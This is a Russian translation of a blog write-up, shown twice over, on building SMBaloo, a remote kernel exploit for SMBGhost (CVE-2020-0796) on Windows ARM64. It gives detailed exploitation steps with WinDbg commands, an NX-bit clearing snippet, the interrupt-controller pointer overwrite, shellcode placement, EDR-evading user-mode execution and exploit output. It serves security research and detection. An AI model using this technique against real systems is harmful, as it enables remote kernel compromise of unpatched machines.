Введение
Не используйте эту статью ни для чего, кроме образовательных целей, все это было протестировано только на единственной машине ARM64 (Windows 10 18362 ARM 64-bit (AArch64)), к которой у меня был прямой доступ. Убедитесь, что патч KB4551762 не установлен, если вы выполняетете некоторые тесты. Я постараюсь сделать эту статью максимально удобочитаемой, даже если у вас ограниченный опыт разработки эксплойтов. Если у вас есть какие-либо вопросы - не стесняйтесь просто заходить в Discord, чтобы задать их на сервере OPCDE.
Уязвимость
Прежде всего ... Как выглядит переполнение int на процессоре ARM64?
Она выглядит так, как показано ниже на картинке, поскольку вы можете видеть, что 32-битные регистры w9 и w8 складываются друг с другом и происходит БУМММ.
Эксплуатация
Чтение физической памяти с помощью MDL
@hugeh0ge, который первым написал об использовании SMBGhost (CVE-2020-0796) и представил, как использовать списки дескрипторов памяти (MDL) для чтения страниц физической памяти. Это определенно отличный пост в блоге, чтобы понять, как использовать уязвимость, он был особенно полезен, когда я читал превосходный chompie эксплойт. Хотя, пытаясь использовать этот эксплойт, я постоянно получал примитивные сбои физического чтения при попытке чтения физических страниц, которые будут обсуждаться ниже.
Вот некоторые из команд, которые я использовал для отладки своих MDL:
После отладки srvnet!SrvNetSendData я заметил, что функция не считывала номера кадров страницы (PFN), которые были добавлены после созданного MDL. Это произошло из-за того, что MdlFlags был установлен в 0x501C вместо 0x5018, где MDL_SOURCE_IS_NONPAGED_POOL не должен присутствовать.
Спасибо макросу MmGetSystemAddressForMdlSafe() за подсказку.
Теперь, когда у нас есть возможность читать физические страницы, я первым делом понял, что в некоторых случаях я не мог читать определенные физические адреса, потому что они не были частью фактического макета физической памяти, и тогда система зависает или происходит BsoD. Я написал статью о получении структуры физической памяти с помощью структур MmGetPhysicalMemoryRanges() в 2008 году (http://blog.csdn.net/iiprogram/article/details/3080059), поскольку это была общая проблема для многих инструментов сбора памяти, которую DumpIt решал в первые дни.
Как ни странно, все остальные были настолько одержимы сырыми дампами, что даже не знали, что такое сырая паиять. Многие пытались читать от 0x0 до HighestPhysicalMemoryAddress, хотя некоторые блоки в этом адресном пространстве могут быть зарезервированы для памяти других устройств, таких как видеокарты, или даже не выделены. Если вы посмотрите мою старую презентацию BlackHat 2010 - Blue screen of death is dead, я рассказывал об этом, объясняя простую структуру физической памяти.
Есть еще одна потенциальная (и интересная) причина, по которой невозможно читать страницы физической памяти на ARM64, которая определенно заслуживает большего внимания, а именно то, что видимое физическое адресное пространство между Secure World и Normal World может отличаться. Это также основная причина, по которой я перестал пытаться использовать методику самосопоставления TTBR (PML4 на x64), в которой вы ищите PTE KSHARED_USER_DATA и меняете биты NX для загрузки шелл-кода ядра.
Система может быть спроектирована так, чтобы иметь две полностью отдельные системы памяти, где Normal World может получить доступ только к незащищенному физическому адресному пространству, а Secure World может получить доступ к обоим, предоставляя для обоих миров разные таблицы трансляции (TTBR).
Я очень подозреваю, что именно это происходит, когда мы пытаемся прочитать некоторые таблицы страниц ядра, что мешает нам прочитать таблицу TTBR1. Простой способ прочитать значение TTBR1 (а также Vbar_El1, о котором мы поговорим позже) во время отладки - это прочитать значения Pcr[n].Prcb.ProcessorState.ArchState. Эта информация особенно полезна, особенно когда мы не хотим включать отладку ядра на машине, где мы можем просто сгенерировать полный дамп памяти с помощью DumpIt ARM64 (доступен с 2019 года) и прочитать эти значения.
Из-за ограниченного доступа к машинам ARM64 я не смог дополнительно проверить это, но на моем тестовом ноутбуке (Lenovo Yoga C630) PFN Ttbr0_El1 постоянно был 0x800a9000 после 50-100 перезагрузок - это означает, что это значение, вероятно, не рандомизировано, что могло быть проверенным путем реверсинга bootmgfw!MmArm64pAllocateAndInitializePageTables. Я не говорю, что значение статично в разных средах, но то что его легко предсказать.
На данный момент мы можем сделать два предположения:
- KASLR используется для виртуальных адресов ядра, но, похоже, не всегда так для ранних физических адресов.
- Кажется, мы не можем читать таблицы физических страниц.
А как насчет других потенциальных физических адресов, которые мы могли бы использовать, например hal! HalpInterruptController? Бинго!
Опять же, на моей машине poi(hal!HalpInterruptController) PFN оказался постоянным при нескольких перезагрузках с физическим адресом 0x80009000 (с включенным режимом отладки. Благодаря DumpIt значение равно 0x80005000, когда режим отладки отключен) - и это также произошло на другой машине, где это было 0x40009000.
Мы уже можем видеть шаблон, в котором PFN для poi(hal! HalpInterruptController) равен nt! MmPhysicalMemoryBlock->Run [0].BasePage+0x9.
Машина 1
Машина 2
Теперь мы можем удаленно и последовательно читать физический адрес poi(hal! HalpInterruptController)! Бинго!
Вы можете прочитать функцию эксплойта ReadHalInterruptController() для получения более подробной информации.
Таблица универсального контроллера прерываний (GIC)
После того, как мы прочитаем hal!HalpInterruptController, мы можем легко проверить структуру с помощью некоторых простых проверок, таких как пустые поля или, в нашем случае с SMBaloo постоянное значение (вероятно, размер) в poi (hal!HalpInterruptController)+ 0x18, равно 0x545.
Тогда очень легко получить базовый адрес hal из одного из виртуальных адресов функции, вычитая смещения функций.
Что еще более важно, нам нужно решить, какую запись исправить, чтобы запустить полезную нагрузку нашего ядра. Как видите, вместо Advanced Programmable Interrupt Controller (APIC) - операционная система ARM64 использует Generic Interrupt Controller (GIC) версии 3.
Архитектура GICv3 разработана для работы с ARMv8-A и ARMv8-R совместимыми элементами обработки (PE).
Архитектура универсального контроллера прерываний (GIC) определяет:
- Требования к архитектуре для обработки всех источников прерываний для любого PE, подключенного к GIC.
- Стандартный интерфейс программирования контроллера прерываний, применимый к однопроцессорным или многопроцессорным системам.
В эксплойте SMBaloo я решил исправить запись hal!HalpGic3RequestInterrupt, которая была бы эквивалентом hal! HalpApicRequestInterrupt.
Шеллкод
KUSER_SHARED_DATA - популярный вариант для копирования и выполнения полезных данных ядра, хотя вам нужно перевернуть биты NX перед патчингом записи в таблице контроллера прерываний. Мы рассмотрим этот вариант, прежде чем обсуждать второй вариант, который я в конечном итоге использовал для SMBaloo.
TTBR Self Ref?
Биты TTBR Self Ref и NX
Если мы посмотрим на таблицу страниц TTBR в Windbg, мы увидим, что, как и в случае с основной таблицей страниц PML4, существует запись self-reference, которую мы можем использовать для поиска виртуального адреса KUSER_SHARED_DATA PTE.
Единственное заметное отличие от систем x64 заключается в том, что позиции битового поля No Execute различны и существуют как два отдельных значения PrivilegedNoExecute (EL1 - Kernelland) и UserNoExecute (EL0 — Userland).
Но помните, что мы не можем читать таблицы физических страниц с помощью чтения нашей физической страницы с помощью MDL: (Я использовал этот метод во время моих первоначальных тестов, жестко кодируя виртуальный адрес PTE и значение PTE, пока не нашел более надежный метод, который я описываю в следующем разделе.
Зачем переворачивать биты? Когда тебе это не нужно.
Поразмыслив над этим, я спросил себя, почему я вообще вообще пытаюсь исправить запись PTE. Я устал копировать вставку виртуального адреса из отладчика в свой эксплойт, что через некоторое время действительно начало казаться глупым. Все, что нам нужно, это исполняемая страница, верно?
Я люблю большие страницы, я не могу лгать. Поскольку модули ядра отображаются в памяти на большой странице, это означает, что мы можем использовать пространство заголовков для хранения полезных данных ядра, поскольку они будут помечены как исполняемые, как и остальная часть двоичного файла. И поскольку мы восстановили базовый адрес hal в предыдущем разделе, мы можем не касаться PTE KUSER_SHARED_DATA. Хотя, чтобы избежать перезаписи заголовка, я использую дельта-смещение hal + 0x500 (pshellcodeva = HalBase_VirtAddr + 0x500) для моей полезной нагрузки, что дает нам приличный размер используемого исполняемого пространства равный 0xb00.
Теневой стек
В ARM64 нет PUSHAD/POPAD - и даже нет никаких инструкций PUSH/POP, но нам все равно нужно очень аккуратно сохранять наши регистры, включая аргументы функций, которые передаются через регистры. Регистры из x0-x7 используются для передачи параметров, поскольку мы хотим правильно перенаправиться на исходный hal! HalpGic3RequestInterrupt, мы не хотим, чтобы они перезаписывались, поэтому, нам нужно что-то более общее, которое работает как PUSHAD/POPAD.
Обратите внимание, что в отличие от AArch32, счетчик программ (PC) и указатель стека (SP) не являются индексируемыми регистрами.
Короче говоря, нам нужно выделить пространство кадра в стеке (sp) - и сохранить все наши регистры внутри него, используя инструкции stp/str, и мы восстановим их, используя инструкции ldp/ldr.
PUSHAD
POPAD
Доступ к PCR
x18 или xpr указывает на KPCR для текущего процессора в режиме ядра и указывает на TEB в пользовательском режиме. Это позволяет нам получить адрес объекта System EPROCESS (GetPcr()→PsGetCurrentThread()→PsGetCurrentProcess())
Базовый адрес Ntoskrnl
VBAR_EL1, регистр базового адреса вектора (EL1), содержит базовый адрес вектора для любого исключения, которое передается в EL1 (ядро), и этот базовый адрес вектора (nt!KiArm64ExceptionVectors) находится внутри ntoskrnl.exe. VBAR_EL1 инициализируется ntoskrnl!KiInitializeExceptionVectorTable. Также имеется векторный регистр базового адреса для EL2 и EL3. Брюс Данг написал прекрасную статью о диспетчеризации системных вызовов в Windows ARM64, в которой рассказывается, как VBAR_EL1 используется ядром Windows ARM64.
Как только мы получим адрес nt!KiArm64ExceptionVectors, мы можем просто пройтись по нему назад, пока не найдем заголовок файла MZ образа.
Функции хеширования
Процессоры ARM64 имеют встроенные коды операций CRC32, которые можно использовать для буферов хеширования, это неплохо, и я решил использовать crc32b для моей реализации GetProcAddress.
Fool me once, shame on you; fool me twice…
В отличие от других шеллкодов ядра, которые используют APC (асинхронный вызов процедур) дважды, я использую его только один раз для запуска APC ядра, но не для полезной нагрузки в пользовательском пространстве. В прошлом году Сухайль Хамму сообщил, что ATP в Защитнике Windows (и, вероятно, все другие EDR, основанные на событиях ETW ...) обнаруживает внедрение APC в пользовательском режиме из режима ядра, а hugeh0ge также упомянул, что пользовательская среда Control Flow Guard (CFG) перехватывает вызовы через ntdll!KiUserApcDispatch->ntdll! LdrpValidateUserCallTarget перед выполнением любого введенного APC шелл-кода. Это потребует от нас патча ntdll!LdrpValidateUserCallTarget для успешного выполнения.
В прошлом году я писал о том (https://www.comae.com/posts/2019-04-24_how-to-solve-the-blindspots-of-event-driven-detection/), почему обнаружение, управляемое событиями (большинство EDR), имеет слепые пятна, рассматривая технику внедрения кода APC в качестве примера. Вот хронология событий с того момента, когда Барнаби Джек впервые опубликовал ее на BlackHat 2005.
Но угадайте, что ядро Windows 10 экспортирует RtlCreateUserThread(), который позволяет вам делать именно то, что он делает. Параметры точно такие же, как и его версия ntdll, которая будет работать как секция псевдокода ниже. Хотя это и не освещено в последнем сообщении zerosum0x0, я приглашаю вас прочитать его последнее сообщение в блоге об известных побегах с помощью ring0, поскольку оно дает отличный исторический контекст известных в настоящее время методов и почему замечательно, что RtlCreateUserThread экспортируется и отлично работает
AFAIK , я также не видел ни одного общедоступного шелл-кода Windows, использующего эту технику.
Еще вы заметите, что я напрямую вызываю hal!KfLowerIrql и hal!KfRaiseIrql вместо жесткого кодирования изменений IRQL, как мы обычно наблюдаем с шелл-кодами x64 - это было чисто для того, чтобы иметь надежный шелл-код, и поскольку мы В любом случае, работая с hal, не имело смысла жестко кодировать его, хотя hal!KeGetCurrentIrql жестко запрограммирован, поскольку это простая функция. KeStackAttachProcess() позволяет нам использовать (HANDLE)-1 вместо того, чтобы выполнять дополнительные операции, такие как ZwOpenProcess(), для получения дескрипторов и т.д.
Несмотря на комментарии, отключение/включение прерываний это довольно просто, но для правильной работы полезной нагрузки ядра этого не требовалось.
Userland
Благодаря нашему EL/ядру вызов nt!RtlCreateUserThread позвоялет нам теперь запускаем код в EL0.
Поиск функций работает аналогично полезной нагрузке ядра, где я также использую код операции crc32b, основное отличие состоит в том, что вместо чтения KPCR мы будем читать TEB для доступа к PEB и перечислять библиотеки DLL и находить базовый адрес kernel32.
В остальном все работает так же, как и полезная нагрузка нашего ядра - теневой стек, поиск функции, выполнение вызовов … И бум, целевая машина не взорвалась, и просто появился калькулятор. Я не публиковал шелл-код обратной оболочки, так как цель состоит в том, чтобы сделать этот эксплойт и описание чисто образовательными.
Анализ памяти для обнаружения.
Криминалистика памяти мертва. Да здравствует анализ памяти. А как насчет обнаружения? Обнаружение в реальном времени не всегда безупречно, а реализация мер по защите - это эффективный, но долгосрочный процесс. Тем не менее, имплантаты ядра с постоянным ОЗУ не всегда легко обнаружить, и часто продолжают создаваться новые методы. Это одна из основных причин, по которой я настаивал на переосмыслении ведения журнала для критических ресурсов, чтобы иметь возможность обнаруживать такие полезные нагрузки в памяти, если вы архивируете образы памяти (в пригодном для использования формате файла, таком как аварийные дампы для Windows или ядро ELF для Linux. - Помните: сырые дампы - это глупые дампы и работают только на ваших воркошопах по Windows 7
) и включите опцию для запуска расширенных сценариев обнаружения.
Исследование адресов, не относящихся к KASLR, таких как KPCR, в Windows 7 (см. ETERNALBLUE), KSHARED_USER_DATA или даже страницы с включенным KASLR, но без защиты NX, такой как заголовки модулей ядра, как мы видели выше, является необходимостью, и поскольку структура и инструменты реагирования на инциденты отстают, слишком много внимания уделяя базовым вещам, таким как преобразование ИТ-инструментов в DFIR таких утилит, как osquery и т. д., будет сложно увидеть значительную эволюцию с точки зрения защиты. Например, мне определенно было больше удовольствия писать этот эксплойт, чем пытаться убедить людей, почему они должны прекратить использовать сырые дампы и использовать аварийные дампы Microsoft
. Многие механизмы глубокой защиты довольно сложно реализовать, если вы не являетесь поставщиком - хотя поставщики облачных услуг могут ввести интересную парадигму для будущего облачной безопасности, в которой небольшие игроки могут иметь постоянно растущее влияние.
Эксплойт
github.com
Список используемой литературы
Автор перевода: yashechka
Источник: https://www.comae.com/posts/smbaloo-building-a-rce-exploit-for-windows-arm64-smbghost-edition/
Не используйте эту статью ни для чего, кроме образовательных целей, все это было протестировано только на единственной машине ARM64 (Windows 10 18362 ARM 64-bit (AArch64)), к которой у меня был прямой доступ. Убедитесь, что патч KB4551762 не установлен, если вы выполняетете некоторые тесты. Я постараюсь сделать эту статью максимально удобочитаемой, даже если у вас ограниченный опыт разработки эксплойтов. Если у вас есть какие-либо вопросы - не стесняйтесь просто заходить в Discord, чтобы задать их на сервере OPCDE.
Код:
PS C:\Users\msuiche\Documents\dev\smbaloo> python.exe .\exploit.py -ip 169.254.82.219
[+] hal!HalpInterruptController found at 80009000!
[+] HalpInterruptController_VirtAddr at fffff7a700007000
[+] HalpGic3RequestInterrupt at fffff803bcdd5d70
[+] pHalpGic3RequestInterrupt at fffff7a700007078
[+] HalBase_VirtAddr at fffff803bcd9f000
[+] built shellcode!
[+] Wrote shellcode at fffff803bcd9f500!
[+] Press a key to execute shellcode!
[+] [fffff7a700007078] = fffff803bcd9f500
[+] overwrote HalpInterruptController pointer, should have execution shortly...
PS C:\Users\msuiche\Documents\dev\smbaloo>
Уязвимость
Прежде всего ... Как выглядит переполнение int на процессоре ARM64?
Эксплуатация
Чтение физической памяти с помощью MDL
@hugeh0ge, который первым написал об использовании SMBGhost (CVE-2020-0796) и представил, как использовать списки дескрипторов памяти (MDL) для чтения страниц физической памяти. Это определенно отличный пост в блоге, чтобы понять, как использовать уязвимость, он был особенно полезен, когда я читал превосходный chompie эксплойт. Хотя, пытаясь использовать этот эксплойт, я постоянно получал примитивные сбои физического чтения при попытке чтения физических страниц, которые будут обсуждаться ниже.
Вот некоторые из команд, которые я использовал для отладки своих MDL:
Код:
bp srv2!Srv2DecompressData+0x7c
bp srv2!Srv2DecompressData+0xd0
bp srvnet!SrvNetSendData
r w9; r w8; r w0; p;r x0;.printf "(srv2!Srv2DecompressData post allocation)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x0, poi(@x0+0x18), poi(@x0+0x38);g
.printf "(srv2!Srv2DecompressData pre uncompression)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x19, poi(@x19+0x18), poi(@x19+0x38);p;r x19;.printf "(srv2!Srv2DecompressData post uncompression)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x19, poi(@x19+0x18), poi(@x19+0x38);g
.printf "(srvnet!SrvNetSendData)\nMDL: %p\n", poi(@x1+8);dt nt!_MDL poi(@x1+8);dq poi(@x1+8)+0x30 L3;
После отладки srvnet!SrvNetSendData я заметил, что функция не считывала номера кадров страницы (PFN), которые были добавлены после созданного MDL. Это произошло из-за того, что MdlFlags был установлен в 0x501C вместо 0x5018, где MDL_SOURCE_IS_NONPAGED_POOL не должен присутствовать.
Код:
MdlFlags: 0x5018 Mdl Flags: 0x501C
MDL_ALLOCATED_FIXED_SIZE MDL_ALLOCATED_FIXED_SIZE
MDL_PARTIAL MDL_PARTIAL
MDL_NETWORK_HEADER MDL_NETWORK_HEADER
MDL_ALLOCATED_MUST_SUCCEED MDL_ALLOCATED_MUST_SUCCEED
MDL_SOURCE_IS_NONPAGED_POOL
Спасибо макросу MmGetSystemAddressForMdlSafe() за подсказку.
C:
#define MmGetSystemAddressForMdlSafe(MDL, PRIORITY) \
(((MDL)->MdlFlags & (MDL_MAPPED_TO_SYSTEM_VA | \
MDL_SOURCE_IS_NONPAGED_POOL)) ? \
((MDL)->MappedSystemVa) : \
(MmMapLockedPagesSpecifyCache((MDL), \
KernelMode, \
MmCached, \
NULL, \
FALSE, \
(priority))))
Теперь, когда у нас есть возможность читать физические страницы, я первым делом понял, что в некоторых случаях я не мог читать определенные физические адреса, потому что они не были частью фактического макета физической памяти, и тогда система зависает или происходит BsoD. Я написал статью о получении структуры физической памяти с помощью структур MmGetPhysicalMemoryRanges() в 2008 году (http://blog.csdn.net/iiprogram/article/details/3080059), поскольку это была общая проблема для многих инструментов сбора памяти, которую DumpIt решал в первые дни.
Как ни странно, все остальные были настолько одержимы сырыми дампами, что даже не знали, что такое сырая паиять. Многие пытались читать от 0x0 до HighestPhysicalMemoryAddress, хотя некоторые блоки в этом адресном пространстве могут быть зарезервированы для памяти других устройств, таких как видеокарты, или даже не выделены. Если вы посмотрите мою старую презентацию BlackHat 2010 - Blue screen of death is dead, я рассказывал об этом, объясняя простую структуру физической памяти.
Есть еще одна потенциальная (и интересная) причина, по которой невозможно читать страницы физической памяти на ARM64, которая определенно заслуживает большего внимания, а именно то, что видимое физическое адресное пространство между Secure World и Normal World может отличаться. Это также основная причина, по которой я перестал пытаться использовать методику самосопоставления TTBR (PML4 на x64), в которой вы ищите PTE KSHARED_USER_DATA и меняете биты NX для загрузки шелл-кода ядра.
Система может быть спроектирована так, чтобы иметь две полностью отдельные системы памяти, где Normal World может получить доступ только к незащищенному физическому адресному пространству, а Secure World может получить доступ к обоим, предоставляя для обоих миров разные таблицы трансляции (TTBR).
Я очень подозреваю, что именно это происходит, когда мы пытаемся прочитать некоторые таблицы страниц ядра, что мешает нам прочитать таблицу TTBR1. Простой способ прочитать значение TTBR1 (а также Vbar_El1, о котором мы поговорим позже) во время отладки - это прочитать значения Pcr[n].Prcb.ProcessorState.ArchState. Эта информация особенно полезна, особенно когда мы не хотим включать отладку ядра на машине, где мы можем просто сгенерировать полный дамп памяти с помощью DumpIt ARM64 (доступен с 2019 года) и прочитать эти значения.
Код:
0: kd> dx -id 0,0,ffffda8cc8c7e180 -r1 (*((ntkrnlmp!_KARM64_ARCH_STATE *)0xfffff800dbab0a60))
(*((ntkrnlmp!_KARM64_ARCH_STATE *)0xfffff800dbab0a60)) [Type: _KARM64_ARCH_STATE]
[+0x000] Midr_El1 : 0x517f803c [Type: unsigned __int64]
[+0x008] Sctlr_El1 : 0x30d0591d [Type: unsigned __int64]
[+0x010] Actlr_El1 : 0x0 [Type: unsigned __int64]
[+0x018] Cpacr_El1 : 0x300000 [Type: unsigned __int64]
[+0x020] Tcr_El1 : 0x95b5513511 [Type: unsigned __int64]
[+0x028] Ttbr0_El1 : 0x400000800a9000 [Type: unsigned __int64]
[+0x030] Ttbr1_El1 : 0x400000800a9800 [Type: unsigned __int64]
[+0x038] Esr_El1 : 0xf200f000 [Type: unsigned __int64]
[+0x040] Far_El1 : 0x1b6ebff1000 [Type: unsigned __int64]
[+0x048] Pmcr_El0 : 0x0 [Type: unsigned __int64]
[+0x050] Pmcntenset_El0 : 0x0 [Type: unsigned __int64]
[+0x058] Pmccntr_El0 : 0x0 [Type: unsigned __int64]
[+0x060] Pmxevcntr_El0 [Type: unsigned __int64 [31]]
[+0x158] Pmxevtyper_El0 [Type: unsigned __int64 [31]]
[+0x250] Pmovsclr_El0 : 0x0 [Type: unsigned __int64]
[+0x258] Pmselr_El0 : 0x0 [Type: unsigned __int64]
[+0x260] Pmuserenr_El0 : 0x0 [Type: unsigned __int64]
[+0x268] Mair_El1 : 0x44bb00ff44bb00ff [Type: unsigned __int64]
[+0x270] Vbar_El1 : 0xfffff800dfc03000 [Type: unsigned __int64]
Из-за ограниченного доступа к машинам ARM64 я не смог дополнительно проверить это, но на моем тестовом ноутбуке (Lenovo Yoga C630) PFN Ttbr0_El1 постоянно был 0x800a9000 после 50-100 перезагрузок - это означает, что это значение, вероятно, не рандомизировано, что могло быть проверенным путем реверсинга bootmgfw!MmArm64pAllocateAndInitializePageTables. Я не говорю, что значение статично в разных средах, но то что его легко предсказать.
На данный момент мы можем сделать два предположения:
- KASLR используется для виртуальных адресов ядра, но, похоже, не всегда так для ранних физических адресов.
- Кажется, мы не можем читать таблицы физических страниц.
А как насчет других потенциальных физических адресов, которые мы могли бы использовать, например hal! HalpInterruptController? Бинго!
Код:
0: kd> !pte poi(hal!HalpInterruptController)
VA fffff7f3c0007000
PXE at FFFFF67B3D9ECF78 PPE at FFFFF67B3D9EFE78 PDE at FFFFF67B3DFCF000 PTE at FFFFF67BF9E00038
contains 0060000084600F03 contains 00E0000084603F03 contains 00E0000084604F03 contains 00E0000080009F03
pfn 84600 -R--ADK--V pfn 84603 -W--ADK--V pfn 84604 -W--ADK--V pfn 80009 -W--ADK--V
Опять же, на моей машине poi(hal!HalpInterruptController) PFN оказался постоянным при нескольких перезагрузках с физическим адресом 0x80009000 (с включенным режимом отладки. Благодаря DumpIt значение равно 0x80005000, когда режим отладки отключен) - и это также произошло на другой машине, где это было 0x40009000.
Мы уже можем видеть шаблон, в котором PFN для poi(hal! HalpInterruptController) равен nt! MmPhysicalMemoryBlock->Run [0].BasePage+0x9.
Машина 1
Код:
0: kd> dt poi(nt!MmPhysicalMemoryBlock) nt!_PHYSICAL_MEMORY_DESCRIPTOR -a Run[0].
+0x010 Run : [0]
+0x000 BasePage : 0x80000
+0x008 PageCount : 0x400
0: kd> !pte poi(hal!HalpInterruptController)
VA fffff7f3c0007000
PXE at FFFFF67B3D9ECF78 PPE at FFFFF67B3D9EFE78 PDE at FFFFF67B3DFCF000 PTE at FFFFF67BF9E00038
contains 0060000084600F03 contains 00E0000084603F03 contains 00E0000084604F03 contains 00E0000080009F03
pfn 84600 -R--ADK--V pfn 84603 -W--ADK--V pfn 84604 -W--ADK--V pfn 80009 -W--ADK--V
Машина 2
Код:
5: kd> dt poi(nt!MmPhysicalMemoryBlock) nt!_PHYSICAL_MEMORY_DESCRIPTOR -a Run[0].
+0x010 Run : [0]
+0x000 BasePage : 0x40000
+0x008 PageCount : 0x2bb
5: kd> !pte poi(hal!HalpInterruptController)
VA fffff79280007000
PXE at FFFF82C160B05F78 PPE at FFFF82C160BEF250 PDE at FFFF82C17DE4A000 PTE at FFFF82FBC9400038
contains 0060000085500F03 contains 00E0000085603F03 contains 00E0000085604F03 contains 00E0000040009703
pfn 85500 -R--ADK--V pfn 85603 -W--ADK--V pfn 85604 -W--ADK--V pfn 40009 -W-GADK--V
Теперь мы можем удаленно и последовательно читать физический адрес poi(hal! HalpInterruptController)! Бинго!
Вы можете прочитать функцию эксплойта ReadHalInterruptController() для получения более подробной информации.
Таблица универсального контроллера прерываний (GIC)
После того, как мы прочитаем hal!HalpInterruptController, мы можем легко проверить структуру с помощью некоторых простых проверок, таких как пустые поля или, в нашем случае с SMBaloo постоянное значение (вероятно, размер) в poi (hal!HalpInterruptController)+ 0x18, равно 0x545.
Код:
0: kd> dq poi(hal!HalpInterruptController)+0x18 L1
HalpInterruptController_Sig = 0x00000545
Тогда очень легко получить базовый адрес hal из одного из виртуальных адресов функции, вычитая смещения функций.
Код:
0: kd> dps poi(hal!HalpInterruptController)
fffff7f3`c0007000 fffff800`dfbd7370 hal!HalpRegisteredInterruptControllers
fffff7f3`c0007008 fffff800`dfbd7370 hal!HalpRegisteredInterruptControllers
fffff7f3`c0007010 fffff7f3`c0007158
fffff7f3`c0007018 00000000`00000545
fffff7f3`c0007020 fffff800`df8c7640 hal!HalpGic3InitializeLocalUnit
fffff7f3`c0007028 fffff800`df8c7450 hal!HalpGic3InitializeIoUnit
fffff7f3`c0007030 fffff800`df89b2c0 hal!HalpGic3SetPriority
fffff7f3`c0007038 00000000`00000000
fffff7f3`c0007040 00000000`00000000
fffff7f3`c0007048 00000000`00000000
fffff7f3`c0007050 00000000`00000000
fffff7f3`c0007058 fffff800`df8c71a0 hal!HalpGic3AcceptAndGetSource
fffff7f3`c0007060 fffff800`df89b2e0 hal!HalpGic3WriteEndOfInterrupt
fffff7f3`c0007068 00000000`00000000
fffff7f3`c0007070 fffff800`df8c7ea0 hal!HalpGic3SetLineState
fffff7f3`c0007078 fffff800`df8c7d70 hal!HalpGic3RequestInterrupt
0: kd> !itoldyouso hal
hal.dll
Timestamp: 4328224B
SizeOfImage: 36F000
pdb: hal.pdb
pdb sig: 24BF0D45-4FA0-30FF-4791-CA91A5EAD872
age: 1
0: kd> ? hal!HalpRegisteredInterruptControllers - hal
Evaluate expression: 3433328 = 00000000`00346370
Что еще более важно, нам нужно решить, какую запись исправить, чтобы запустить полезную нагрузку нашего ядра. Как видите, вместо Advanced Programmable Interrupt Controller (APIC) - операционная система ARM64 использует Generic Interrupt Controller (GIC) версии 3.
Архитектура GICv3 разработана для работы с ARMv8-A и ARMv8-R совместимыми элементами обработки (PE).
Архитектура универсального контроллера прерываний (GIC) определяет:
- Требования к архитектуре для обработки всех источников прерываний для любого PE, подключенного к GIC.
- Стандартный интерфейс программирования контроллера прерываний, применимый к однопроцессорным или многопроцессорным системам.
В эксплойте SMBaloo я решил исправить запись hal!HalpGic3RequestInterrupt, которая была бы эквивалентом hal! HalpApicRequestInterrupt.
Шеллкод
KUSER_SHARED_DATA - популярный вариант для копирования и выполнения полезных данных ядра, хотя вам нужно перевернуть биты NX перед патчингом записи в таблице контроллера прерываний. Мы рассмотрим этот вариант, прежде чем обсуждать второй вариант, который я в конечном итоге использовал для SMBaloo.
TTBR Self Ref?
Биты TTBR Self Ref и NX
Если мы посмотрим на таблицу страниц TTBR в Windbg, мы увидим, что, как и в случае с основной таблицей страниц PML4, существует запись self-reference, которую мы можем использовать для поиска виртуального адреса KUSER_SHARED_DATA PTE.
Единственное заметное отличие от систем x64 заключается в том, что позиции битового поля No Execute различны и существуют как два отдельных значения PrivilegedNoExecute (EL1 - Kernelland) и UserNoExecute (EL0 — Userland).
Код:
# Clear NX bit
# This is different on ARM64
# MMPTE_HARDWARE.PrivilegedNoExecute = False
# MMPTE_HARDWARE.UserNoExecute = False
overwrite_val = pte_val & ~(3 << 53)
0: kd> dt nt!_MMPTE_HARDWARE
+0x000 Valid : Pos 0, 1 Bit
+0x000 NotLargePage : Pos 1, 1 Bit
+0x000 CacheType : Pos 2, 2 Bits
+0x000 OsAvailable2 : Pos 4, 1 Bit
+0x000 NonSecure : Pos 5, 1 Bit
+0x000 Owner : Pos 6, 1 Bit
+0x000 NotDirty : Pos 7, 1 Bit
+0x000 Sharability : Pos 8, 2 Bits
+0x000 Accessed : Pos 10, 1 Bit
+0x000 NonGlobal : Pos 11, 1 Bit
+0x000 PageFrameNumber : Pos 12, 36 Bits
+0x000 reserved1 : Pos 48, 4 Bits
+0x000 ContiguousBit : Pos 52, 1 Bit
+0x000 PrivilegedNoExecute : Pos 53, 1 Bit
+0x000 UserNoExecute : Pos 54, 1 Bit
+0x000 Writable : Pos 55, 1 Bit
+0x000 CopyOnWrite : Pos 56, 1 Bit
+0x000 PdeLocked : Pos 57, 1 Bit
+0x000 PdeContended : Pos 58, 1 Bit
+0x000 PxnTable : Pos 59, 1 Bit
+0x000 UxnTable : Pos 60, 1 Bit
+0x000 ApTable : Pos 61, 2 Bits
+0x000 NsTable : Pos 63, 1 Bit
Но помните, что мы не можем читать таблицы физических страниц с помощью чтения нашей физической страницы с помощью MDL: (Я использовал этот метод во время моих первоначальных тестов, жестко кодируя виртуальный адрес PTE и значение PTE, пока не нашел более надежный метод, который я описываю в следующем разделе.
Зачем переворачивать биты? Когда тебе это не нужно.
Поразмыслив над этим, я спросил себя, почему я вообще вообще пытаюсь исправить запись PTE. Я устал копировать вставку виртуального адреса из отладчика в свой эксплойт, что через некоторое время действительно начало казаться глупым. Все, что нам нужно, это исполняемая страница, верно?
Я люблю большие страницы, я не могу лгать. Поскольку модули ядра отображаются в памяти на большой странице, это означает, что мы можем использовать пространство заголовков для хранения полезных данных ядра, поскольку они будут помечены как исполняемые, как и остальная часть двоичного файла. И поскольку мы восстановили базовый адрес hal в предыдущем разделе, мы можем не касаться PTE KUSER_SHARED_DATA. Хотя, чтобы избежать перезаписи заголовка, я использую дельта-смещение hal + 0x500 (pshellcodeva = HalBase_VirtAddr + 0x500) для моей полезной нагрузки, что дает нам приличный размер используемого исполняемого пространства равный 0xb00.
Код:
0: kd> !pte nt
VA fffff800dfc00000
PXE at FFFFF67B3D9ECF80 PPE at FFFFF67B3D9F0018 PDE at FFFFF67B3E0037F0 PTE at FFFFF67C006FE000
contains 0060000084609F03 contains 006000008460AF03 contains 00C000009C000F01 contains 0000000000000000
pfn 84609 -R--ADK--V pfn 8460a -R--ADK--V pfn 9c000 -WX-ADK-LV LARGE PAGE pfn 9c000
0: kd> !pte hal
VA fffff800df891000
PXE at FFFFF67B3D9ECF80 PPE at FFFFF67B3D9F0018 PDE at FFFFF67B3E0037E0 PTE at FFFFF67C006FC488
